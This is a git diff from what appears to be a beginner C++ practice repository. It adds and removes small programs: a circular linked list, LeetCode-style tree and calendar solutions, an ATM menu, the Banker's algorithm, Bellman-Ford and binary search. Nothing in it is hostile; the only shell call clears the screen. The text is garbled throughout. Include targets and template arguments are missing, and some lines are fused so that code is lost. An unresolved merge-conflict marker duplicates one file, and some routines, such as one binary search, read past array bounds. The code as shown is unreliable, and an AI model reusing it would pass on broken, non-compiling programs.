k) { - temp = ptr; - } - ptr = ptr - > next; - - } while (ptr != head); - return temp; - } - - //return temp; - } - - // 2. Append a node to the list - void appendNode(Node * new_node) { - if (nodeExists(new_node - > key) != NULL) { - cout << "Node Already exists with key value : " << - new_node - > key << - ". Append another node with different Key value" << - endl; - } else { - if (head == NULL) { - head = new_node; - new_node - > next = head; - cout << "Node Appended at first Head position" << endl; - } else { - Node * ptr = head; - while (ptr - > next != head) { - ptr = ptr - > next; - } - ptr - > next = new_node; - new_node - > next = head; - cout << "Node Appended" << endl; - } - } - - } - // 3. Prepend Node - Attach a node at the start - void prependNode(Node * new_node) { - if (nodeExists(new_node - > key) != NULL) { - cout << "Node Already exists with key value : " << - new_node - > key << - ". Append another node with different Key value" << - endl; - } else { - if (head == NULL) { - head = new_node; - new_node - > next = head; - cout << "Node Prepended at first Head position" << endl; - } else { - Node * ptr = head; - while (ptr - > next != head) { - ptr = ptr - > next; - } - - ptr - > next = new_node; - new_node - > next = head; - head = new_node; - cout << "Node Prepended" << endl; - } - - } - } - - // 4. Insert a Node after a particular node in the list - void insertNodeAfter(int k, Node * new_node) { - Node * ptr = nodeExists(k); - if (ptr == NULL) { - cout << "No node exists with key value OF: " << k << endl; - } else { - if (nodeExists(new_node - > key) != NULL) { - cout << "Node Already exists with key value : " << - new_node - > key << - ". Append another node with different Key value" << - endl; - } else { - if (ptr - > next == head) { - new_node - > next = head; - ptr - > next = new_node; - cout << "Node Inserted at the End" << endl; - } else { - new_node - > next = ptr - > next; - ptr - > next = new_node; - cout << "Node Inserted in between" << endl; - } - - } - } - } - - // 5. Delete node by unique key - void deleteNodeByKey(int k) { - Node * ptr = nodeExists(k); - if (ptr == NULL) { - cout << "No node exists with key value OF : " << k << - endl; - } else { - - if (ptr == head) { - if (head - > next == NULL) { - head = NULL; - cout << "Head node Unlinked... List Empty"; - } else { - Node * ptr1 = head; - while (ptr1 - > next != head) { - ptr1 = ptr1 - > next; - } - ptr1 - > next = head - > next; - head = head - > next; - cout << "Node UNLINKED with keys value : " << k << endl; - } - } else { - Node * temp = NULL; - Node * prevptr = head; - Node * currentptr = head - > next; - while (currentptr != NULL) { - if (currentptr - > key == k) { - temp = currentptr; - currentptr = NULL; - } else { - prevptr = prevptr - > next; - currentptr = currentptr - > next; - } - } - - prevptr - > next = temp - > next; - cout << "Node UNLINKED with keys value : " << k << endl; - - } - - } - - } - // 6th update node - void updateNodeByKey(int k, int new_data) { - - Node * ptr = nodeExists(k); - if (ptr != NULL) { - ptr - > data = new_data; - cout << "Node Data Updated Successfully" << endl; - } else { - cout << "Node Doesn't exist with key value : " << k << endl; - } - - } - - // 7th printing - void printList() { - if (head == NULL) { - cout << "No Nodes in Circular Linked List"; - } else { - cout << endl << "head address : " << head << endl; - cout << "Circular Linked List Values : " << endl; - - Node * temp = head; - - do { - cout << "(" << temp - > key << "," << temp - > data << "," << temp - > next << ") --> "; - temp = temp - > next; - } while (temp != head); - } - - } - -}; - -int main() { - - CircularLinkedList obj; - int option; - int key1, k1, data1; - do { - cout << "\nWhat operation do you want to perform? Select Option number. Enter 0 to exit." << endl; - cout << "1. appendNode()" << endl; - cout << "2. prependNode()" << endl; - cout << "3. insertNodeAfter()" << endl; - cout << "4. deleteNodeByKey()" << endl; - cout << "5. updateNodeByKey()" << endl; - cout << "6. print()" << endl; - cout << "7. Clear Screen" << endl << endl; - - cin >> option; - Node * n1 = new Node(); - //Node n1; - - switch (option) { - case 0: - break; - case 1: - cout << "Append Node Operation \nEnter key & data of the Node to be Appended" << endl; - cin >> key1; - cin >> data1; - n1 - > key = key1; - n1 - > data = data1; - obj.appendNode(n1); - //cout<> key1; - cin >> data1; - n1 - > key = key1; - n1 - > data = data1; - obj.prependNode(n1); - break; - - case 3: - cout << "Insert Node After Operation \nEnter key of existing Node after which you want to Insert this New node: " << endl; - cin >> k1; - cout << "Enter key & data of the New Node first: " << endl; - cin >> key1; - cin >> data1; - n1 - > key = key1; - n1 - > data = data1; - - obj.insertNodeAfter(k1, n1); - break; - - case 4: - - cout << "Delete Node By Key Operation - \nEnter key of the Node to be deleted: " << endl; - cin >> k1; - obj.deleteNodeByKey(k1); - - break; - case 5: - cout << "Update Node By Key Operation - \nEnter key & NEW data to be updated" << endl; - cin >> key1; - cin >> data1; - obj.updateNodeByKey(key1, data1); - - break; - case 6: - obj.printList(); - - break; - case 7: - system("cls"); - break; - default: - cout << "Enter Proper Option number " << endl; - } - - } while (option != 0); - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/623. Add One Row to Tree.cpp b/Add Code Here/C++/623. Add One Row to Tree.cpp deleted file mode 100644 index e6f7f85df75..00000000000 --- a/Add Code Here/C++/623. Add One Row to Tree.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/** - * Definition for a binary tree node. - * struct TreeNode { - * int val; - * TreeNode *left; - * TreeNode *right; - * TreeNode() : val(0), left(nullptr), right(nullptr) {} - * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - * }; - */ -class Solution { - - void dfs(TreeNode* root, int val, int depth,int lvl){ - - if(root==nullptr) - return ; - - if(lvl==depth-1) - { - - TreeNode *n1= new TreeNode(val,root->left,nullptr); - TreeNode *n2= new TreeNode(val,nullptr,root->right); - - root->left=n1; - root->right=n2; - - return ; - } - - - - dfs(root->left,val,depth,lvl+1); - - dfs(root->right,val,depth,lvl+1); - - - - } - - - -public: - TreeNode* addOneRow(TreeNode* root, int val, int depth) { - - - if(depth==1){ - - TreeNode *n1= new TreeNode(val,root,nullptr); - return n1; - - } - - - dfs(root,val,depth,1); - - return root; - - - - - - - - } -}; diff --git a/Add Code Here/C++/658. Find K Closest Elements.cpp b/Add Code Here/C++/658. Find K Closest Elements.cpp deleted file mode 100644 index 5b0aa6be51c..00000000000 --- a/Add Code Here/C++/658. Find K Closest Elements.cpp +++ /dev/null @@ -1,33 +0,0 @@ -// https://leetcode.com/problems/find-k-closest-elements/ - -class Solution { -public: - vector findClosestElements(vector& arr, int k, int x) { - - - priority_queue,vector>,greater> > pq; - - vector ans; - - - for(int z:arr){ - pq.push({abs(z-x),z}); - } - - while(k){ - ans.push_back(pq.top().second); - pq.pop(); - k--; - } - - sort(ans.begin(),ans.end()); - - - - - return ans; - - - - } -}; diff --git a/Add Code Here/C++/732. My Calendar III.cpp b/Add Code Here/C++/732. My Calendar III.cpp deleted file mode 100644 index 297eedecdbc..00000000000 --- a/Add Code Here/C++/732. My Calendar III.cpp +++ /dev/null @@ -1,38 +0,0 @@ -class MyCalendarThree { - map st,ed; - -public: - MyCalendarThree() { - - - - } - - int book(int start, int end) { - - st[start]++; - ed[end]++; - st[end]; - int c=0; - int ans=0; - for(auto it: st){ - - c+= it.second; - c-= ed[it.first]; - - ans= max(c,ans); - - - - - } - - return ans; - } -}; - -/** - * Your MyCalendarThree object will be instantiated and called as such: - * MyCalendarThree* obj = new MyCalendarThree(); - * int param_1 = obj->book(start,end); - */ diff --git a/Add Code Here/C++/7_segment_display.cpp b/Add Code Here/C++/7_segment_display.cpp deleted file mode 100644 index 964b48c526d..00000000000 --- a/Add Code Here/C++/7_segment_display.cpp +++ /dev/null @@ -1,76 +0,0 @@ -//7 Segment Display -//https://practice.geeksforgeeks.org/problems/7-segment-display0752/1# - -//Method-1 (Greedy Approach) -// { Driver Code Starts -#include -using namespace std; - - // } Driver Code Ends -class Solution { - public: - string sevenSegments(string s, int n) { - // code here - int count[10]={6, 2, 5, 5, 4, 5, 6, 3, 7, 5}; - int arr[n]; - - //counting segments for given number string - int sum=0; - for(int i=0;i=4){ - arr[i]=6; //inserting 0 to every pos - sum+=2; //adding segments of 1 as 1 is replaced by 0 - sum-=6; //removing segments of 0 - i++; - } - - arr[n-1]+=sum; //Adding remaining segments at the last index - - for(int i=0;i> t; - while (t--) { - int N; - - cin>>N; - string S; - cin>>S; - - Solution ob; - cout << ob.sevenSegments(S,N) << endl; - } - return 0; -} // } Driver Code Ends \ No newline at end of file diff --git a/Add Code Here/C++/814B(MathematicalCircus).cpp b/Add Code Here/C++/814B(MathematicalCircus).cpp deleted file mode 100644 index 00e4345e839..00000000000 --- a/Add Code Here/C++/814B(MathematicalCircus).cpp +++ /dev/null @@ -1,126 +0,0 @@ -#pragma GCC optimize("Ofast") -#pragma GCC optimization("unroll-loops") - -#include -//#include // Common file -//#include // Including tree_order_statistics_node_update -using namespace std; -// using namespace __gnu_pbds; -#define gc getchar_unlocked -#define fo(i, n) for (ll i = 0; i < n; i++) -#define Fo(i, k, n) for (ll i = k; i < n; i++) -#define ll long long -#define si(x) scanf("%d", &x) -#define sl(x) scanf("%I64d", &x) -#define ss(s) scanf("%s", s) -#define pb push_back -#define F first -#define S second -#define clr(x) memset(x, 0, sizeof(x)) -#define tr(it, a) for (auto it = a.begin(); it != a.end(); it++) -#define all(x) x.begin(), x.end() -#define PI 3.1415926535897932384626 -#define deb(x) cout << #x << " " << x << "\n"; -#define INP(v) \ - for (auto &x : v) \ - { \ - cin >> x; \ - } -#define OUT(v) \ - for (auto &x : v) \ - { \ - cout << x << " "; \ - } -typedef pair pii; -typedef pair pll; -typedef vector vi; -typedef vector vl; -typedef vector vpii; -typedef vector vpll; -typedef vector vvi; -typedef vector vvl; -const ll mod = 1000000007; -const ll N = 2e5; -const ll M = 1e9 + 7; - -// template using oset =tree, rb_tree_tag,tree_order_statistics_node_update> ; - -// A.find_by_order(k-1) // gives kth smallest element -// A.order_of_key(x) // no. of elements which are less than x - -/*void seive(ll n){ - for(ll i=2; i*i<=n; i++){ - if(a[i]==0){ - for(ll j=i; i*j<=n; j++){ - a[i*j] = 1; - } - } - } -}*/ - -/*ll pw(ll a,ll b){ - if(b==0)return 1; - ll t=pw(a,b/2); - if(b%2)return ((a*t*t)%mod); - else return ((t*t)%mod); -} -*/ - -void solve() -{ - ll n, k; cin>>n>>k; - if(k%4==0) - { - cout<<"NO"<>t; - - fo(i, t) - { - // cout <<"Case #" << i <<": "; - solve(); - // cout<<"A"; - } - - // solve(); - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/ATM and student Report Card Management/atm1.cpp b/Add Code Here/C++/ATM and student Report Card Management/atm1.cpp deleted file mode 100644 index 871e09bbc09..00000000000 --- a/Add Code Here/C++/ATM and student Report Card Management/atm1.cpp +++ /dev/null @@ -1,63 +0,0 @@ -#include -using namespace std; - -void showMenu() { - cout<<"*********Menu************" << endl; - cout<<"1. Check Balance" << endl; - cout<<"2. Deposite" << endl; - cout<<"3. Withdrawl" << endl; - cout<<"4. Money Transfer" << endl; - cout<<"5. Exit" << endl; - cout<<"**************************"<< endl; -} - -int main () -{ - //check balance, deposite, withdraw, show menu,transfer money - int option; - double balance = 5000; - - do{ - showMenu(); - cout<<"option:"; - cin>>option; - system("cls"); - - switch(option){ - case 1: cout<<"Balance is:" << balance << "$"<< endl; break; - case 2: cout<<"Deposite Amount:"; - double depositeAmount; - cin>> depositeAmount; - balance+= depositeAmount; - cout<<"Total Amount:"<< balance <> withdrawAmount; - if (withdrawAmount <= balance) - balance-= withdrawAmount; - else - cout<< "Not Enough Money" << endl; - cout<<"Total Amount:"<< balance <> transferAmount; - if (transferAmount <= balance) - balance-= transferAmount; - else - cout<< "Not Enough Money" << endl; - cout<< "Enter Account Number"; - double accountnumber; - cin>> accountnumber; - cout<<"Transfer Successfully" << endl; - cout<<"Total Amount:"<< balance <0"); - -} diff --git a/Add Code Here/C++/ATM and student Report Card Management/atm1.exe b/Add Code Here/C++/ATM and student Report Card Management/atm1.exe deleted file mode 100644 index bf30eff63bd..00000000000 Binary files a/Add Code Here/C++/ATM and student Report Card Management/atm1.exe and /dev/null differ diff --git a/Add Code Here/C++/ATM and student Report Card Management/report.cpp b/Add Code Here/C++/ATM and student Report Card Management/report.cpp deleted file mode 100644 index eed5607caf5..00000000000 --- a/Add Code Here/C++/ATM and student Report Card Management/report.cpp +++ /dev/null @@ -1,40 +0,0 @@ -#include -using namespace std; - -int main() - -{ -cout<<"Hello, Welcome Here"< + +using namespace std; + +int main() +{ + cout<<"Hello, Akar here!"; + + return 0; +} diff --git a/Add Code Here/C++/Area_traingle.cpp b/Add Code Here/C++/Area_traingle.cpp deleted file mode 100644 index e8c6a9cb33a..00000000000 --- a/Add Code Here/C++/Area_traingle.cpp +++ /dev/null @@ -1,14 +0,0 @@ -#include -using namespace std; -int main() -{ - cout<<" print area of traingle "<>b; - cout<<"enter heigth "; - cin>>h; - c = (b*h)/2; - cout<<"area of triangle is "< -#include -using namespace std; -bool compare(int x,int y){ - int xy=x,yx=y; - int xdigit=0,ydigit=0; - while(x!=0){ - xdigit++; - x=x/10; - } - while(y!=0){ - ydigit++; - y=y/10; - } - x=xy;y=yx; - while(ydigit!=0){ - xy=xy*10; - ydigit--; - } - while(xdigit!=0){ - yx=yx*10; - xdigit--; - } - xy=xy+y; - yx=yx+x; - return xy>yx; -} - -int main(){ - - int n; - cin >> n; - int arr[n]; - for(int i=0;i> arr[i]; - } - sort(arr,arr+n,compare); - for(int i=0;i -using namespace std; -int main() -{ - cout<<"Declare an array " ; - // int A[12] = {7,8,6,0,6,2,8,2,8,3}; // print last digit - // cout< -using namespace std; -const int N = 10000; -int flaw; //counting numbers of inconsistent assertions -int pot[N], prec[N]; - -void initialize(int n) { - flaw = 0; - for(int i = 1; i <= n; ++i) { - prec[i] = i; - pot[i] = 0; - } - -} -int find(int x) { - if(prec[x] == x) return x; - int rx = find(prec[x]); // rx is the root of x - pot[x] = pot[prec[x]] + pot[x]; //add all potentials along the path,i.e.,potential calculated wrt root - prec[x] = rx; - return rx; -} -void merge(int a, int b, int d) { - int ra = find(a); - int rb = find(b); - if(ra == rb && pot[a] - pot[b] != d) flaw++; - else if(ra != rb) { - pot[ra] = d + pot[b] - pot[a]; - prec[ra] = rb; - } -} -int main() { - int n; //no. of variables - cin >> n; - int m; // no. of equations - cin >> m; - initialize(n); - for(int i = 1; i <= m; ++i) { //consider 1-based indexing of variables - int a, b, d; //asserting a-b=d; - cin >> a >> b >> d; - merge(a, b, d); - } - cout << "No. of inconsistencies= " << flaw; - //queries of type y-x=? can be given through pot[y]-pot[x] (only when then are in same component - //i.e., can be extracted from the information so far ) - return 0; -} diff --git a/Add Code Here/C++/Ayansaxena24.cpp b/Add Code Here/C++/Ayansaxena24.cpp new file mode 100644 index 00000000000..c317db4f5a2 --- /dev/null +++ b/Add Code Here/C++/Ayansaxena24.cpp @@ -0,0 +1,13 @@ +#include +using namespace std; +int main() +{ + int t; + cin>>t; + while (t--) + { + int a,b,c,i,sum1,sum2; + cin>>a>>b>>c; + cout< -using namespace std; - -const int P = 5; - -const int R = 3; - -void calculateNeed(int need[P][R], int maxm[P][R], - int allot[P][R]) -{ - for (int i = 0 ; i < P ; i++) - for (int j = 0 ; j < R ; j++) - need[i][j] = maxm[i][j] - allot[i][j]; -} - -bool isSafe(int processes[], int avail[], int maxm[][R], - int allot[][R]) -{ - int need[P][R]; - calculateNeed(need, maxm, allot); - bool finish[P] = {0}; - int safeSeq[P]; - int work[R]; - for (int i = 0; i < R ; i++) - work[i] = avail[i]; - - int count = 0; - while (count < P) - { - bool found = false; - for (int p = 0; p < P; p++) - { - if (finish[p] == 0) - { - int j; - for (j = 0; j < R; j++) - if (need[p][j] > work[j]) - break; - if (j == R) - { - for (int k = 0 ; k < R ; k++) - work[k] += allot[p][k]; - safeSeq[count++] = p; - finish[p] = 1; - found = true; - } - } - } - if (found == false) - { - cout << "System is not in safe state"; - return false; - } - } - cout << "System is in safe state.\nSafe" - " sequence is: "; - for (int i = 0; i < P ; i++) - cout << safeSeq[i] << " "; - - return true; -} -int main() -{ - int processes[] = {0, 1, 2, 3, 4}; - - int avail[] = {3, 3, 2}; - - int maxm[][R] = {{7, 5, 3}, - {3, 2, 2}, - {9, 0, 2}, - {2, 2, 2}, - {4, 3, 3}}; - - int allot[][R] = {{0, 1, 0}, - {2, 0, 0}, - {3, 0, 2}, - {2, 1, 1}, - {0, 0, 2}}; - - isSafe(processes, avail, maxm, allot); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/BST_FROM_POSTORDER.cpp b/Add Code Here/C++/BST_FROM_POSTORDER.cpp deleted file mode 100644 index 087c97c9266..00000000000 --- a/Add Code Here/C++/BST_FROM_POSTORDER.cpp +++ /dev/null @@ -1,176 +0,0 @@ -/* - problem Statement: - - Create a BST from the preorder traversal of a binary tree - - input : - - 1st line will contain "t" test cases - - Then immideate to above line contains an integer "n" and an array of array size n. - - output - - single line containing preorder traversal of bst -*/ - -#include -using namespace std; - -struct Node -{ - int data; - struct Node *left; - struct Node *right; - - Node(int x) - { - data = x; - left = NULL; - right = NULL; - } -}; - -Node *constructTree(int[], int); - -void printInorder(Node *node) -{ - if (node == NULL) - return; - printInorder(node->left); - printf("%d ", node->data); - printInorder(node->right); -} - -int main() -{ - int t; - scanf("%d", &t); - while (t--) - { - int n; - scanf("%d", &n); - int post[n]; - for (int i = 0; i < n; i++) - scanf("%d", &post[i]); - - Node *root = constructTree(post, n); - - printInorder(root); - printf("\n"); - } - return 0; -} -// } Driver Code Ends - -/*struct Node -{ - int data; - Node *left, *right; -};*/ - -Node *convert(int post[], int left, int right, int &i, int size) -{ - if (left > right) - return nullptr; - if (i == size) - return nullptr; - if (post[i] < left or post[i] > right) - return nullptr; - - int x = post[i]; - Node *root = new Node(post[i--]); - root->right = convert(post, x + 1, right, i, size); - root->left = convert(post, left, x - 1, i, size); - return root; -} -Node *constructTree(int post[], int size) -{ - - int i = size - 1; - return convert(post, INT_MIN, INT_MAX, i, size); - ======= -/* - problem Statement: - - Create a BST from the preorder traversal of a binary tree - - input : - - 1st line will contain "t" test cases - - Then immideate to above line contains an integer "n" and an array of array size n. - - output - - single line containing preorder traversal of bst -*/ - -#include -using namespace std; - -struct Node -{ - int data; - struct Node *left; - struct Node *right; - - Node(int x) - { - data = x; - left = NULL; - right = NULL; - } -}; - -Node *constructTree(int[], int); - -void printInorder(Node *node) -{ - if (node == NULL) - return; - printInorder(node->left); - printf("%d ", node->data); - printInorder(node->right); -} - -int main() -{ - int t; - scanf("%d", &t); - while (t--) - { - int n; - scanf("%d", &n); - int post[n]; - for (int i = 0; i < n; i++) - scanf("%d", &post[i]); - - Node *root = constructTree(post, n); - - printInorder(root); - printf("\n"); - } - return 0; -} -// } Driver Code Ends - -/*struct Node -{ - int data; - Node *left, *right; -};*/ - -Node *convert(int post[], int left, int right, int &i, int size) -{ - if (left > right) - return nullptr; - if (i == size) - return nullptr; - if (post[i] < left or post[i] > right) - return nullptr; - - int x = post[i]; - Node *root = new Node(post[i--]); - root->right = convert(post, x + 1, right, i, size); - root->left = convert(post, left, x - 1, i, size); - return root; -} -Node *constructTree(int post[], int size) -{ - - int i = size - 1; - return convert(post, INT_MIN, INT_MAX, i, size); -} \ No newline at end of file diff --git a/Add Code Here/C++/BalancedBinaryTree.cpp b/Add Code Here/C++/BalancedBinaryTree.cpp deleted file mode 100644 index 9b3cad5f2bd..00000000000 --- a/Add Code Here/C++/BalancedBinaryTree.cpp +++ /dev/null @@ -1,34 +0,0 @@ -#include -#include -using namespace std; - - -// Definition for a binary tree node. - struct TreeNode { - int val; - TreeNode *left; - TreeNode *right; - TreeNode() : val(0), left(nullptr), right(nullptr) {} - TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - }; - -class Solution { -private: - int dfs(TreeNode* root){ - if(!root) return 0; - - int l=dfs(root->left); - if(l==-1) return -1; - int r=dfs(root->right); - if(r==-1) return -1; - - if(abs(l-r)>1) return -1; - - return 1+max(l,r); - } -public: - bool isBalanced(TreeNode* root) { - return dfs(root)!=-1; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/BankerAlgo.cpp b/Add Code Here/C++/BankerAlgo.cpp deleted file mode 100644 index 6a64fa2c0c2..00000000000 --- a/Add Code Here/C++/BankerAlgo.cpp +++ /dev/null @@ -1,82 +0,0 @@ -#include -using namespace std; - -const int P = 5; - -const int R = 3; - -void calculateNeed(int need[P][R], int maxm[P][R], - int allot[P][R]) -{ - for (int i = 0 ; i < P ; i++) - for (int j = 0 ; j < R ; j++) - need[i][j] = maxm[i][j] - allot[i][j]; -} - -bool isSafe(int processes[], int avail[], int maxm[][R], - int allot[][R]) -{ - int need[P][R]; - calculateNeed(need, maxm, allot); - bool finish[P] = {0}; - int safeSeq[P]; - int work[R]; - for (int i = 0; i < R ; i++) - work[i] = avail[i]; - - int count = 0; - while (count < P) - { - bool found = false; - for (int p = 0; p < P; p++) - { - if (finish[p] == 0) - { - int j; - for (j = 0; j < R; j++) - if (need[p][j] > work[j]) - break; - if (j == R) - { - for (int k = 0 ; k < R ; k++) - work[k] += allot[p][k]; - safeSeq[count++] = p; - finish[p] = 1; - found = true; - } - } - } - if (found == false) - { - cout << "System is not in safe state"; - return false; - } - } - cout << "System is in safe state.\nSafe" - " sequence is: "; - for (int i = 0; i < P ; i++) - cout << safeSeq[i] << " "; - - return true; -} -int main() -{ - int processes[] = {0, 1, 2, 3, 4}; - - int avail[] = {3, 3, 2}; - - int maxm[][R] = {{7, 5, 3}, - {3, 2, 2}, - {9, 0, 2}, - {2, 2, 2}, - {4, 3, 3}}; - - int allot[][R] = {{0, 1, 0}, - {2, 0, 0}, - {3, 0, 2}, - {2, 1, 1}, - {0, 0, 2}}; - - isSafe(processes, avail, maxm, allot); - return 0; -} diff --git a/Add Code Here/C++/Basic_calculator_two.cpp b/Add Code Here/C++/Basic_calculator_two.cpp deleted file mode 100644 index 387b78489d9..00000000000 --- a/Add Code Here/C++/Basic_calculator_two.cpp +++ /dev/null @@ -1,44 +0,0 @@ -#include -using namespace std; - -class Solution -{ -public: - int calculate(string s) - { - char op = '+'; - int curr = 0; - vector stk; - - for (int i = 0; i < s.size(); ++i) - { - - if (isdigit(s[i])) - curr = curr * 10 + (s[i] - '0'); - - if (i == s.size() - 1 || s[i] == '+' || s[i] == '-' || s[i] == '*' || s[i] == '/') - { - if (op == '+') - stk.push_back(curr); - else if (op == '-') - stk.push_back(curr * (-1)); - else if (op == '*') - { - int num = stk.back(); - stk.pop_back(); - stk.push_back(num * curr); - } - else if (op == '/') - { - int num = stk.back(); - stk.pop_back(); - stk.push_back(num / curr); - } - - curr = 0; - op = s[i]; - } - } - return accumulate(stk.begin(), stk.end(), 0); - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Bellman Ford Algorithm b/Add Code Here/C++/Bellman Ford Algorithm new file mode 100644 index 00000000000..1c2d448b445 --- /dev/null +++ b/Add Code Here/C++/Bellman Ford Algorithm @@ -0,0 +1,128 @@ +// Bellman Ford Algorithm in C++ + +#include + +// Struct for the edges of the graph +struct Edge { + int u; //start vertex of the edge + int v; //end vertex of the edge + int w; //w of the edge (u,v) +}; + +// Graph - it consists of edges +struct Graph { + int V; // Total number of vertices in the graph + int E; // Total number of edges in the graph + struct Edge* edge; // Array of edges +}; + +// Creates a graph with V vertices and E edges +struct Graph* createGraph(int V, int E) { + struct Graph* graph = new Graph; + graph->V = V; // Total Vertices + graph->E = E; // Total edges + + // Array of edges for graph + graph->edge = new Edge[E]; + return graph; +} + +// Printing the solution +void printArr(int arr[], int size) { + int i; + for (i = 0; i < size; i++) { + printf("%d ", arr[i]); + } + printf("\n"); +} + +void BellmanFord(struct Graph* graph, int u) { + int V = graph->V; + int E = graph->E; + int dist[V]; + + // Step 1: fill the distance array and predecessor array + for (int i = 0; i < V; i++) + dist[i] = INT_MAX; + + // Mark the source vertex + dist[u] = 0; + + // Step 2: relax edges |V| - 1 times + for (int i = 1; i <= V - 1; i++) { + for (int j = 0; j < E; j++) { + // Get the edge data + int u = graph->edge[j].u; + int v = graph->edge[j].v; + int w = graph->edge[j].w; + if (dist[u] != INT_MAX && dist[u] + w < dist[v]) + dist[v] = dist[u] + w; + } + } + + // Step 3: detect negative cycle + // if value changes then we have a negative cycle in the graph + // and we cannot find the shortest distances + for (int i = 0; i < E; i++) { + int u = graph->edge[i].u; + int v = graph->edge[i].v; + int w = graph->edge[i].w; + if (dist[u] != INT_MAX && dist[u] + w < dist[v]) { + printf("Graph contains negative w cycle"); + return; + } + } + + // No negative weight cycle found! + // Print the distance and predecessor array + printArr(dist, V); + + return; +} + +int main() { + // Create a graph + int V = 5; // Total vertices + int E = 8; // Total edges + + // Array of edges for graph + struct Graph* graph = createGraph(V, E); + + //------- adding the edges of the graph + /* + edge(u, v) + where u = start vertex of the edge (u,v) + v = end vertex of the edge (u,v) + + w is the weight of the edge (u,v) + */ + + //edge 0 --> 1 + graph->edge[0].u = 0; + graph->edge[0].v = 1; + graph->edge[0].w = 5; + + //edge 0 --> 2 + graph->edge[1].u = 0; + graph->edge[1].v = 2; + graph->edge[1].w = 4; + + //edge 1 --> 3 + graph->edge[2].u = 1; + graph->edge[2].v = 3; + graph->edge[2].w = 3; + + //edge 2 --> 1 + graph->edge[3].u = 2; + graph->edge[3].v = 1; + graph->edge[3].w = 6; + + //edge 3 --> 2 + graph->edge[4].u = 3; + graph->edge[4].v = 2; + graph->edge[4].w = 2; + + BellmanFord(graph, 0); //0 is the source vertex + + return 0; +} diff --git a/Add Code Here/C++/Binary Tree Implementation b/Add Code Here/C++/Binary Tree Implementation deleted file mode 100644 index 6de391d7370..00000000000 --- a/Add Code Here/C++/Binary Tree Implementation +++ /dev/null @@ -1,75 +0,0 @@ -#include<iostream> -using namespace std; - -struct bintree_node{ - bintree_node *left; - bintree_node *right; - int data; -} ; -class bst{ - bintree_node *root; - public: - bst(){ - root=NULL; - } - int isempty() { - return(root==NULL); - } - void insert(int item); - void displayBinTree(); - void printBinTree(bintree_node *); - -}; -void bst::insert(int item){ - bintree_node *p=new bintree_node; - bintree_node *parent; - p->data=item; - p->left=NULL; - p->right=NULL; - parent=NULL; - if(isempty()) - root=p; - else{ - bintree_node *ptr; - ptr=root; - while(ptr!=NULL){ - parent=ptr; - if(item>ptr->data) - ptr=ptr->right; - else - ptr=ptr->left; - } - if(item<parent->data) - parent->left=p; - else - parent->right=p; - } -} -void bst::displayBinTree(){ - printBinTree(root); -} -void bst::printBinTree(bintree_node *ptr){ - if(ptr!=NULL){ - printBinTree(ptr->left); - cout<<" "<<ptr->data<<" "; - printBinTree(ptr->right); - } -} -int main(){ - bst b; - b.insert(20); - b.insert(10); - b.insert(5); - b.insert(15); - b.insert(40); - b.insert(45); - b.insert(30); - - cout<<"Binary tree created: "<<endl; - b.displayBinTree(); -} -Output: - -Binary tree created: - -5 10 15 20 30 40 45 diff --git a/Add Code Here/C++/Binary and Linear Search Algorithms b/Add Code Here/C++/Binary and Linear Search Algorithms new file mode 100644 index 00000000000..ade9238120d --- /dev/null +++ b/Add Code Here/C++/Binary and Linear Search Algorithms @@ -0,0 +1,49 @@ +#include +using namespace std; + +int linearSearch(int n, int key,int array[]){ + for (int i=0;iarr[mid]){ + s=mid+1; + } + else{ + e=mid-1; + } + } + return -1; + + +} + +int main(){ + int n,key; + cout<<"Enter number of elements of the array: "; + cin>>n; + cout<<"ELEMENTS: "; + int array[n]; + for (int i=0; i>array[i]; + } + cout<<"Enter key: "; + cin>>key; + cout< -using namespace std; -long long int exponentiation(long long int x,long int y) -{ - long long int res=1; - if(y==0) - { - return 1; - } - while(y>0) - { - if(y&1) - { - res=res*x; - } - y=y>>1; - x=x*x; - } - return res; -} -int main() -{ - long long int x,y; - cin>>x>>y; - long long int ans=exponentiation( x, y); - cout< //This programs only works when array is sorted in +// increasing order ex.11 22 33 44 55 else wont work +using namespace std; +int binarysearch(int ar[], int m, int n) +{ + int s = 0; // starting pointer at 0 + int e = n; + while (s <= e) + { + int mid = (s + e) / 2; + if (ar[mid] == m) + { + return mid; + } + else if (ar[mid] > m) + { + e = mid - 1; + } + else if (ar[mid] < m) + { + s = mid + 1; + } + } + return -1; +} +int main() +{ + int n; + cin >> n; + int ar[n]; + for (int i = 0; i < n; i++) + { + cin >> ar[i]; + } + int m; + cout << "element to be searched----"; + cin >> m; + cout << binarysearch(ar, m, n); + return 0; +} diff --git a/Add Code Here/C++/BinaryExponentiation.cpp b/Add Code Here/C++/BinaryExponentiation.cpp new file mode 100644 index 00000000000..047823776ef --- /dev/null +++ b/Add Code Here/C++/BinaryExponentiation.cpp @@ -0,0 +1,37 @@ +#include +using namespace std; +#define ll long long int +#define endl '\n' + +const ll mod = 1e9 + 7; + +ll binaryExponentiation(ll a, ll b) +{ + a %= mod; + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a % mod; + a = a * a % mod; + b >>= 1; + } + return res; +} + +void solve() +{ + ll number = 5; + ll power = 2; + cout << binaryExponentiation(5, 2) << endl; +} +int main() +{ + ios_base::sync_with_stdio(false); + cin.tie(NULL); + int t = 1; + // cin >> t; + while (t--) + solve(); + return 0; +} diff --git a/Add Code Here/C++/BinarySearch.cpp b/Add Code Here/C++/BinarySearch.cpp deleted file mode 100644 index 7bd68f5e6ce..00000000000 --- a/Add Code Here/C++/BinarySearch.cpp +++ /dev/null @@ -1,25 +0,0 @@ -//Binary Search in CPP - -class Solution { - public: - int binarysearch(int arr[], int n, int k) { - int value = 0, index = 0, val = 0; - - for(int i =0; i <= n; i++) - { - value = arr[i]; - if(k == value) - { - index = i; - val = i; - }; - val = i; - }; - - if(!index && val == n) - { - return -1; - } - return index; - } -}; diff --git a/Add Code Here/C++/BinarySearchRec.cpp b/Add Code Here/C++/BinarySearchRec.cpp deleted file mode 100644 index 2781d853133..00000000000 --- a/Add Code Here/C++/BinarySearchRec.cpp +++ /dev/null @@ -1,34 +0,0 @@ -// Binary Search in C++ - -#include -using namespace std; 